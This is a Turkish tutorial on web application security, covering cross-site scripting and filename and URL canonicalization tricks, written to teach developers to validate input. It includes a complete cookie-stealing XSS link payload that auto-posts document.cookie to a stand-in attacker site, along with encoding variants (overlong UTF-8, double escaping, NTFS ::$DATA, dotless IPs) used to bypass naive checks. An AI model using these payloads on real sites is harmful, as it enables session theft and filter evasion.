Makale Özeti

Bu makalemizde dizinin 4. bölümü ile 5. ve son bölümünü birlikte yayınlıyoruz.

Makale

Uygulama güvenliğine yönelik yaygın tehlikeler (4) Siteler arası kodcuk çalıştırma

Web sitelerinde gezinirken kullanıcıların zarar görebileceği bir saldırı türüdür. Kullanıcıların girdiler sağladığı ve bu girdilerin görüntülendiği tarz web sayfaları programlıyorsanız, bu tür saldırı sizin kullanıcılarınıza da zarar verebilir. Gerekli önlemleri almak zorundasınız.

Bu yolla kullanıcılarınızın cookielerindeki veriler çalınabilir, sonrasında da bu bilgiler bir saldırganın kullanıcınızın kimliğini taklit ederek siteye girmesine ve onun kişisel bilgilerine erişmesine sebep olabilir.

Nasıl çalışır?

Siteler arası kodcuk çalıştırmanın gerçekleşebilmesi için öncelikle dinamik olarak HTML sayfaları oluşturan Web uygulamaları gerekir. Bu uygulamalar sayfaları oluştururken kullanıcılardan gelen girdileri kullanıyorlarsa ve bu girdileri gereği gibi kontrol etmiyorlarsa oluşturulan sayfalarda kullanıcının tarayıcısında görüntülendiğinde kötü niyetli kodcuklar çalışan sayfalar oluşabilir.

Sayfalara kötü niyetli kullanıcılar tarafından eklenebilecek tehlikeli etiketler şunları içerir: <script>, <object>, <applet>, <form> ve <embed>.  Bu etiketler kötü niyetle sayfaların harcına karıştırılmıştır ama masum kullanıcının tarayıcısı bunu bilmez ve bu kodcukları da güvendiği Web sitesinin güvenlik çerçevesinde çalıştırır. Kötü niyetli bu kodcuklar kullanıcının web oturumlarını takip etmek ve verileri kötü niyetli kişiye iletmek gibi bazı işler gerçekleştirebilirler. Yapabilecekleri işlerden biri de, sayfanın içeriğini orijinal olarak istenenden değişik olarak oluşturmak ve masum kullanıcıyı yanlış yönlendirmektir.

Yaygın sızma yolları

Tartışma siteleri bu tür tehlikeye açık yerlerdendir. Bu tür yerlerde kötü niyetli bir kullanıcı mesajının içine <script> etiketi yerleştirebilir. Eğer web sitesi yönetimi ve yazılımı tarafından bu durum kontrol edilip engellenmezse kullanıcılar bu sayfayı görüntülediklerinde kötü niyetli kişi tarafından gönderilmiş mesajı da tarayıcılarında görüntülemiş olurlar, böylelikle kodcuk çalışır.

Bir başka yöntem de güvendiğiniz bir siteye yönlendiren bağlantılardır. Kötü niyetli kişi, böyle bir bağlantının içine <form> etiketi gömer ve bu bağlantıyı bir elektronik ileti ile kurbanlara dağıtır. Kurbanlar bağlantıyı tıkladıklarında güvendikleri bir web sitesinden aldıkları cevap içinde istenmeyen bir <form> etiketi bulunmaktadır. Bu etiketin ‘action’ özelliği oturum bilgisinin kötü niyetli kişinin web sitesine postalanacağı şekilde değiştirilmiş olabilir mesela. Böylelikle kurbanların bilgileri başkalarının eline geçer.

Çoğu web tabanlı elektronik ileti ve tartışma grubu yöneticisi bu tür saldırıların bilincindedir ve kullanıcılardan gelen girdileri sayfada kullanmadan önce gerekli güvenlik taramalarını yapar.

Örnek

Bir elektronik ileti aldığınızı varsayın ve bunda güvendiğiniz bir siteye bağlantı yer alsın. http://www.güvenilirsite.com gibi. (Not: ü harfi gerçek bir adrese gönderme olmaması için özellikle kullanılmıştır.) Siz de bu siteyi önceden de bildiğiniz için hiçbir sakınca görmeden linki tıkladınız diyelim. Peki ya size iletiyi gönderen kötü niyetli bir kişi ise ve bağlantının arkasında yer alan html aslında şöyleyse:

<a href=http://www.güvenilirsite.com/hosgeldiniz.asp?isim=

<FORM action=http://www.güvenilmezsite.com/kötüniyet.asp

method=post id=”idForm”>

<INPUT name=”cookie” type=”hidden”>

</FORM>

<SCRIPT>

idForm.cookie.value=document.cookie;

idForm.submit();

</SCRIPT> >

buraya tıklayınız

</a>

Bu durumda bağlantıyı tıkladığınızda www.güvenilirsite.com’un hoşgeldiniz.asp sayfası size HTML ve istemci tarafı kodcuğu (client side script) karışımından oluşan bir cevap döndürür. Bu kodcuk da dökümanın cookie’sini yani güvenilirsite’ye ait cookie’nizi alarak güvenilmezsite’ye gönderir. Kurban hiçbir şeyin farkında değildir. Böyle bir duruma düşmüş güvenilirsite’nin sahibi olmak istemezdiniz herhalde.

O halde kullanıcı girdisi alarak dinamik sayfalar oluşturuyorsanız, kullanıcıdan gelen girdiyi test edin. Sadece beklenen biçimde ve uzunlukta girdileri kabul edin.

Secure Windows Initiative’den Michael Howard ne diyor unutmayın: Kullanıcı girdilerine asla güvenmeyin. Bu güvensizlik sizi şu ana kadar üzerinde durduğumuz 3 temel saldırı yönteminden de korur: Hafıza alan taşması (buffer overrun), SQL aşılama (SQL injection) ve siteler arası kodcuk çalıştırma (cross-site scripting).

Uygulama güvenliğine yönelik yaygın tehlikeler (5) Farklı isimlendirme biçimi kullanımı

 

Bazı durumlarda uygulamalarımızda ele alınan dosyanın ismine bakarak kararlar verdiğimiz olur. Mesela uzantıya bakarak onu hangi uygulama ile açacağımızı belirleriz. Ama dürüst programcının aklına gelmeyebilecek birtakım dolambaçlı yöntemler burada da devreye girebilir.

Farklı isimlendirme biçimi kullanımlarıyla, masumca yapılmış ve yeterince kuşatıcı olmayan kontrollerimiz devre dışı kalabilir.

Tanım

Farklı isimlendirme biçimi kullanımı, sonuçta aynı ifadeye dönüşen birden fazla isimlendirme standardının bulunabilmesine dayanır. Yazdığınız kod aldığı girdilerde verilen isimlere dayalı olarak güvenlik açısından hassas olabilecek kararlar veriyorsa, bu tür bir saldırının kurbanı olma olasılığınız vardır. Dosyalar, yollar ve URL’ler bu tür saldırıya açık olan isimlendirmelerdir, çünkü her biri için birden fazla şekilde aynı nesnenin ismini ifade etmek mümkündür.

Örnekler – Dosya isimleri:

Aşağıdaki değişik dosya isimlerini bir inceleyin ve yazının sonrasına bakmadan, bunlarda bir sorun var mı düşünün:

UzunİsimliDosyam.txt

UzunİsimliDosyam.txt.

Uzunİs~1.txt

UzunİsimliDosyam.txt::$DATA

Nedir bunlar? Bunların hepsi farklı gibi görünen ama aynı dosya ismidir. Birincisi standart kullanımdır. İkincisinin sonunda belki fark etmemiş olabileceğiniz bir nokta olarak fark vardır ama sizin gibi Microsoft Win32 dosya sistemi de bu noktayı oradan gereksiz olduğu için kaldırarak bunu birincisiyle aynı isim olarak algılar. Üçüncü satırdaki isim hayli farklı gibi. Ama herhalde çoğunuz bunun neden aslında aynı olduğunu anlamıştır: Uzun dosya isimleri desteğine rağmen, dosyalarınızın kısa isimleri de içsel olarak tutulur. Bunu yaparken de ilk altı karakterin alınması, aradaki özel işaret ve sonra bir sayı şeklinde genel bir yaklaşım izlenir. 8.3’lük gösterim biçimine geriye doğru uyumluluk adına Windows’ta böyle bir yaklaşım vardır.

Ya sonuncusu? Burada NTFS’in özel bir durumu sözkonusu. NTFS’de $DATA normal ya da başka bir deyişle varsayılan veri akışını sunar. Bu özellik asp sayfaları için daha önce kullanılmıştır. IIS’e adres çubuğunda .asp diye biten bir adres göndermek yerine .asp::$DATA diye bir adres gönderdiğinizde ilgili sayfanın kodunu almanız söz konusudur diyemeyiz, ama bir zamanlar bu yapılabilmişti. (IIS bu açığı versiyonlar önce kapattı tabii ki.) Ama IIS’in zamanında açık bırakmış olduğu bu saldırı alanını siz de kendi yazdığınız bir uygulamada açık bırakabilirsiniz. Zor iş, ama hırsızla yarışan polis her zaman geridedir. Hırsız hinlik düşünür, polis onu görüp çözümünü üretir. En azından başka polislerin başka hırsızlar tarafından sıkıştırıldıkları noktaları bilirseniz, kendi hırsızlarınıza karşı bu alanları önceden kapatabilirsiniz.

İnternet örnekleri:

İnternet uygulamalarından birkaç örneğe bakalım mı?

Gerek URL adreslerinde, gerekse web sayfası içeriklerinde farklı isimlendirme tarzları kullanılarak çok çeşitli dolaplar çevirilebilmektedir.

Örnekleriyle bakalım:

http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity

% hex kaçış karakteridir. Yani kendisinden sonra gelen belirli bir kısmın doğrudan kendisini temsil eden bir karakter değil, başka bir karakteri temsil eden özel bir gösterim olduğunu ifade eder. %2e ‘.’dır. %2f ise ‘/’. Adres olarak girilen bir yerde ‘.’ ya da ‘/’ ı kontrol edip ona göre işlem yapan kod yazmış mıydınız daha önce? Aldatılmaya aday bir kod yani?

Başka bir örnek:

http://www.microsoft.com%c0%aftechnet%c0%afsecurity

Bingo! Bu da yine yukarıdaki adresle aynı. Burada yapılan UTF-8’de karakterler için değişken uzunluk özelliğini sömürerek iki baytlık UTF-8 kaçış karakteri kullanan bir yapı.

%c0%af gösterimi de ‘/’ anlamına geliyor.

Şimdi biraz abartalım:

http://www%25%32%65microsoft.com/technet/security

Burada çifte kaçış kullanımı sözkonusu. ‘.’ Önce %2e ile değiştirilmiş. Sonra da ‘%2e’ ifadesinin her karakteri için tekrar değiştirme yapılmış. % için %25, 2 için %32 ve e için %65!

Peki şuna ne demeli:

http://172.43.122.12

Bu basit değil mi? Bir web adresi yerine onun ip adresini yazsanız da olur. Zaten internette erişimler IP adresleri ile olur arka planda. DNS sistemleri sizin girdiğiniz isimleri IP adreslerine çevirir ve onlar üzerinden çalışılır.

Ama şöyle bir kullanım durumu ne olacak?

= http://2888530444

Saçma imiş gibi görünüyor ama değil! Bu bir, noktasız IP adresi. Bizim anladığımız formatta hangi IP adresine karşılık geldiğini anlamak için kullanabileceğiniz bir formül var:

(birinci dörtlü * 16777216) + (ikinci dörtlü * 65536) + (üçüncü dörtlü * 256) + (dördüncü dörtlü)

256’nın kuvvetleri ile ilgili olarak oluşturulmuş bir formül bu.

Unutmayın! Hırsız polisten öndedir, ama polisin de bir gol yese bile hızla açığını giderip aynı noktadan bir daha hasar almaması gerekir.